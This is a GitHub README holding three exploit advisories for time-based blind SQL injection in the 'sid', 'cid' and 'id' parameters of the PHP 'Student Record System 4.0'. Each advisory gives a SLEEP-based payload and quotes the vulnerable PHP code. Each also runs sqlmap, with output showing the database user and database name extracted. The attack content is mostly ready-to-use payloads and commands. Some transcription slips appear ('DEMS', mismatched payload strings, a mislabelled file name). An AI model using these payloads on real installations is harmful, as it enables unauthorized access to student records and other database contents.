

main

...

Student-Record-System- / README.md

BigTiger2020 Update README.md

History

1 contributor

79 lines (60 sloc) | 3.67 KB

...

Exploit Title: Student Record System 4.0 - 'sid' SQL Injection

Date: 2/2/2021

Exploit Author: Jannick Tiger

Vendor Homepage: <https://phpgurukul.com/>

Software Link: <https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip>

Version: V 4.0

Tested on: Windows, XAMPP

Identify the vulnerability

1. go to <http://localhost/schoolmanagement/pages/login.php> and login with your account
2. then go to <http://localhost/schoolmanagement/pages/view-subject.php>
3. Click edit on any user and then add the following payload to the url
payload: ' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnKl) AND 'uXEB'='uXEB
url: <http://localhost/schoolmanagement/pages/edit-sub.php?sid=3> AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnKl) AND 'uXEB'='uXEB

Vulnerability file: edit-sub.php

```
<?php
session_start ();
include('../config/DbFunction.php');
$obj=new DbFunction();
if (! (isset ( $_SESSION ['login'] ))) {
    header ( 'location:../index.php' );
}

$id=$_GET['sid'];

$rs=$obj->showSubject1($id);
$res=$rs->fetch_object();

if(isset($_POST['submit'])){
    $id=$_GET['sid'];
    $obj->edit_subject($_POST['sub1'],$_POST['sub2'],$_POST['sub3'],$_POST['update'],$id);
}

?>
```

Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u <http://localhost/schoolmanagement/pages/edit-sub.php?sid=3> --batch --dbms=mysql --current-db --current-user

GET parameter 'sid' is vulnerable. Do you want to keep testing the others (if any)? [Y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:

```
Parameter: sid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: sid=3' AND (SELECT 9300 FROM (SELECT(SLEEP(5))))RnKL AND 'uXEE'='uXEE
-----
[11:27:29] [INFO] the back-end DEMS is MySQL
[11:27:29] [WARNING] it is very important to not stress the network connection during usage of time-
based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DEMS delay responses (option '--time-sec')? [Y/n] Y
back-end DEMS: MySQL >= 5.0.12 (MariaDB fork)
[11:27:34] [INFO] fetching current user
[11:27:34] [INFO] retrieved:
[11:27:44] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
[11:28:40] [INFO] fetching current database
[11:28:40] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
```

Exploit Title: Student Record System 4.0 - 'cid' SQL Injection

Date: 2/2/2021

Exploit Author: Jannick Tiger

Vendor Homepage: <https://phpgurukul.com/>

Software Link: <https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip>

Version: V 4.0

Tested on: Windows, XAMPP

Identify the vulnerability

1. go to <http://localhost/schoolmanagement/pages/login.php> and login with your account
2. then go to <http://localhost/schoolmanagement/pages/view-course.php>
3. Click edit on any user and then add the following payload to the url
payload: ' AND (SELECT 9265 FROM (SELECT(SLEEP(5))))ijCB AND 'yXjI'='yXjI
url: [http://localhost/schoolmanagement/pages/edit-course.php?cid=7'AND \(SELECT 9265 FROM \(SELECT\(SLEEP\(5\)\)\)\)ijCB AND 'yXjI'='yXjI](http://localhost/schoolmanagement/pages/edit-course.php?cid=7'AND (SELECT 9265 FROM (SELECT(SLEEP(5))))ijCB AND 'yXjI'='yXjI)

Vulnerability file: edit-course.php

```
<?php
session_start ();
include('.../config/DbFunction.php');
$obj=new DbFunction();
if (! (isset ( $_SESSION ['login'] ))) {

    header ( 'location:../index.php' );
}

$id=$_GET['cid'];

$rs=$obj->showCourse1($id);
$res=$rs->fetch_object();

if(isset($_POST['submit'])){

    // echo $id=$_GET['cid'];exit;
    //echo $_POST['course-short'].$_POST['course-full'].$_POST['update'].$id;exit;
    $obj->edit_course($_POST['course-short'],$_POST['course-full'],$_POST['update'],$id);
}

?>
```

Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u <http://localhost/schoolmanagement/pages/edit-course.php?cid=7> --batch --dbms=mysql --current-db --current-user

GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:

```
-----
Parameter: cid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))lJcE) AND 'yXji'='yXji
-----
[13:22:13] [INFO] the back-end DBMS is MySQL
[13:22:13] [WARNING] it is very important to not stress the network connection during usage of time-
based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[13:22:18] [INFO] fetching current user
[13:22:18] [INFO] retrieved:
[13:22:28] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
[13:23:24] [INFO] fetching current database
[13:23:24] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
```

Exploit Title: Student Record System 4.0 - 'id' SQL Injection

Date: 2/2/2021

Exploit Author: Jannick Tiger

Vendor Homepage: <https://phpgurukul.com/>

Software Link: <https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip>

Version: V 4.0

Tested on: Windows, XAMPP

Identify the vulnerability

1. go to <http://localhost/schoolmanagement/pages/login.php> and login with your account
2. then go to <http://localhost/schoolmanagement/pages/view.php>
3. Click edit on any user and then add the following payload to the url
payload: ' AND (SELECT 6593 FROM (SELECT(SLEEP(5)))tIdh) AND 'nzle'='nzle url: <http://localhost/schoolmanagement/pages/edit-std.php?id=3> AND (SELECT 6593 FROM (SELECT(SLEEP(5)))tIdh) AND 'nzle'='nzle

Vulnerability file: edit-course.php

```
3  <?php
4  session_start ();
5
6  if ( ! (isset ( $_SESSION ['login'] ) ) ) {
7
8      header ( 'location:../index.php' );
9  }
10 include ('../config/dbfunction.php');
11 $obj=new DbFunction();
12 $id=$_GET['id'];
13 $res=$obj->showStudents($id);
14 $res=$res->fetch_object();
15 $c=$res->course;
16 $cname=$obj->showCourse($c);
17 $res1=$cname->fetch_object();
18 $res1=$obj->showCourse();
19 $res2=$obj->showCountry();
20 if(isset($_POST['submit'])) {
21
22
23     $obj->edit_std($_POST['course-short'],$_POST['c-full'],$_POST['fname'],$_POST['mname'],$_POST['lname'],
24     $_POST['gender'],$_POST['gname'],$_POST['ocp'],$_POST['income'],$_POST['category'],$_POST['ph'],$_POST['nation']
25
26     , $_POST['mobno'],$_POST['email'],$_POST['country'],$_POST['state'],$_POST['city'],$_POST['padd'],
27     $_POST['cadd'],$_POST['board1'],$_POST['board2'],$_POST['roll1'],$_POST['roll2'],$_POST['year1'],
28     $_POST['year2'],$_POST['sub1'],$_POST['sub2'],$_POST['marks1'],$_POST['marks2'],$_POST['fmarks1'],
29     $_POST['fmarks2'],$_GET['id']);
30
31 }
32 ?>
```

Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u <http://localhost/schoolmanagement/pages/edit-std.php?id=3> --batch --dbms=mysql --current-db --current-user

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=3' AND (SELECT 6593 FROM (SELECT(SLEEP(5)))tLDh) AND 'nzIe'='nzIe

[17:45:02] [INFO] the back-end DEMS is MySQL

[17:45:02] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

do you want sqlmap to try to optimize value(s) for DEMS delay responses (option '--time-sec')? [Y/n] Y

back-end DEMS: MySQL >= 5.0.12 (MariaDB fork)

[17:45:07] [INFO] fetching current user

[17:45:07] [INFO] retrieved:

[17:45:18] [INFO] adjusting time delay to 1 second due to good response times

root@localhost

current user: 'root@localhost'

[17:46:13] [INFO] fetching current database

[17:46:13] [INFO] retrieved: schoolmanagement

current database: 'schoolmanagement'